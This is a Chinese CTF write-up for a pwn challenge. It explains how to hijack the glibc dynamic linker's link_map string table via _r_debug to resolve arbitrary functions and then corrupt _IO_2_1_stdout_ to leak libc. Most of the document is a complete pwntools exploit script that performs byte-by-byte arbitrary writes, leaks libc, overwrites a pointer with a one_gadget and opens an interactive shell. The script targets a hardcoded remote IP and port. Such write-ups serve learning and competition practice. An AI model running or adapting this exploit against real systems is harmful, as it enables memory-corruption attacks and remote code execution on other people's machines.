巅峰极客又爆0了,该认真学学linkmap以及rtld了
结构是这样:
原文是从Rel再到Sym再到Str的劫持 从而完全控制整个动态链接的过程
寻找表的路径是:
动态链接输入参数两个(Linkmap,rel_offset)
linkmap→l_info[DT_JMPREL] → ELF_JMPREL → .rel.plt + rel_offset → 拿到在.dynsym的偏移offset0
linkmap→l_info[DT_SYMTAB] → ELF_JMPSYM → .dynsym + offset0 → 拿到在.dynstr的偏移offset1
linkmap→l_info[DT_STRTAB] → ELF_JMPSTR → .dynstr + offset1 → 拿到即将查询的函数字符串
由于只能在libc附近高地址任意写,所以利用了elf中有一个指针_r_debug
指向了ld一块内存地址,可以将.ret.plt
和.dynsym
和.dynstr
都劫持到_r_debug
附近内存
但是由于内存分布和原题不一样了
并且调用的时候rel_offset
为2(找write),所以在自上而下实现Sym劫持的时候,将DT_SYMTAB修改为指向elf中的_r_debug
,但是由于rel_offset是2所以会去_r_debug
里面找第三个 .dymsym
的位置,但是这个位置恰好是_rtld_global._ld_ns._ns_loaded
的第一个字段l_addr
,而这个字段又是会影响回写got表的,所以会爆炸
自上而下劫持失败了,只能从下而上小部分控制,可以劫持DT_STRTAB
,这个是用来控制字符串表的,现在_r_debug
+0x3e的位置布置字符串(这个是write的.dynsym的st→name决定的)
然后改掉DT_STRTAB
到elf中的_r_debug
偏移就可以将.dynstr
挟持到_r_debug
附近内存,从而实现任意函数申请
后面利用就是篡改_IO_2_1_stdout_
然后申请putchar
函数实现_IO_FILE_leak
之后想怎么打就怎么打了
import os
import sys
import time
import ctypes
from pwn import *
from typing import Callable
def interrupt(io):
if IN_DEBUG:
gdb.attach(io, gdb_args)
def tob(a):
if isinstance(a, str):
return bytes(a, encoding="latin1")
elif isinstance(a,bytes) or isinstance(a, bytearray):
return a
else:
return bytes(str(a), encoding="latin1")
def main():
global IN_DEBUG, gdb_args, pwn_elf, libc, libc_exec, ld, libc_path
IN_DEBUG = False
libc_path = "/usr/lib/glibc/2.31-0ubuntu9.14_amd64/libc.so.6"
elf_path = "./pwn"
gdb_args = '''
b *$rebase(0x122D)
b _dl_fini
'''
if sys.argv[1] == "a":
context.log_level = "error"
else:
context.log_level = "info"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
context.binary = elf_path
libc = ELF(libc_path)
ld = ELF("./ld-2.31.so")
# libc_exec = ctypes.cdll.LoadLibrary(libc_path)
pwn_elf = ELF(elf_path)
if sys.argv[1] in ["d", "m", "l", "r"]:
cnt = int(sys.argv[2]) if len(sys.argv) > 2 else 1
elif sys.argv[1] in ["a"]:
cnt = int(sys.argv[4]) if len(sys.argv) > 4 else 1
success(f"Total rounds: {cnt}")
while cnt != 0:
if len(sys.argv) == 1 or sys.argv[1] == "d":
io = gdb.debug(context.binary.path, gdb_args)#, env={"LD_PRELOAD":libc_path})
elif sys.argv[1] == "m":
io = process(context.binary.path)
IN_DEBUG = True
elif sys.argv[1] == "l":
io = process(context.binary.path)
elif sys.argv[1] == "a":
if isinstance(sys.argv[3],int):
io = remote(sys.argv[2],sys.argv[3])
elif isinstance(sys.argv[3],str) or isinstance(sys.argv[3],bytes):
io = remote(sys.argv[2],int(sys.argv[3]))
elif sys.argv[1] == "r":
io = remote("8.147.128.135", 12704)
try:
success(f"Round left: {cnt}")
pwn(io)
except EOFError:
io.close()
cnt -= 1
continue
success("Done")
break
def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0):
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0) # rbx be 0x0
payload += p64(1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8]
payload += b'A' * 56 # junk 6 * 8 + 8 = 56
return payload
def pwn(io: tube):
class link_map:
DT_JMPREL = 23
DT_SYMTAB = 6
DT_STRTAB = 5
DT_VER = 50
DT_FINI = 13
DT_PLTGOT = 3
DT_FINI_ARRAY = 26
DT_FINI_ARRAYSZ = 28
def __init__(self, offset):
self.offset = offset
def l_addr(self):
return ld.address + self.offset
def l_info(self, tag):
return ld.address + self.offset + 0x40 + tag * 8
def l_init_called(self):
return self.l_addr() + 0x31C
ld.address = 0x235000 - 0x10
# ld.address = 0x23b000 - 0x10
libc.address = 0x41000 - 0x10
binary_map = link_map(0x2f190)
# ld_map = link_map(0x35A48)
libc_map_addr = libc.address + 0x1f2000
def write(offset, bytes):
info(f"writeing {hex(offset)}: {hex(len(bytes))}")
for i, byte in enumerate(bytes):
io.send(p64(offset + i, signed=True))
io.send(p8(byte))
def call_func_with_offset(name, offset):
assert offset < 0x100
write(ld.symbols["_r_debug"]+0x3e, name)
write(binary_map.l_info(link_map.DT_STRTAB), p8(0xB8))
# pause()
if offset != 0:
write(libc_map_addr, p8(offset))
# restore
write(libc_map_addr, p8(0))
write(binary_map.l_info(link_map.DT_STRTAB), p8(0x78))
l_addr_offset = pwn_elf.got["_Exit"] - pwn_elf.got["write"]
write(binary_map.l_addr(), p8(l_addr_offset))
interrupt(io)
# write(ld.address + 0x2ef70, p64(0x7f42fee87afe)[:3])
# set stdout to unbufferred, so that when initializing stdout in putchar, _IO_buf_end will == _IO_buf_base + 1
# instead of allocing a large buffer
write(libc.symbols["_IO_2_1_stdout_"] + 0x00, p32(0xfbad2087))
# initialize STDOUT
call_func_with_offset(b"putchar\\0", 0)
write(libc.symbols["_IO_2_1_stdout_"] + 0x00, p32(0xfbad1800))
write(libc.symbols["_IO_2_1_stdout_"] + 0x20, b'\\0')
# write(libc.symbols["_IO_2_1_stdout_"] + 0x20, b'\\0')
call_func_with_offset(b"putchar\\0", 0)
io.recvuntil(b'\\0'*9)
real_libc = ELF(libc_path)
real_libc.address = u64(io.recv(8)) - 0x1ec980
success(f"libc: {hex(real_libc.address)}")
write(ld.address + 0x2ef70, p64(real_libc.address + 0xe3afe))
call_func_with_offset(b"exit\\0", 0)
io.interactive()
if __name__ == "__main__":
main()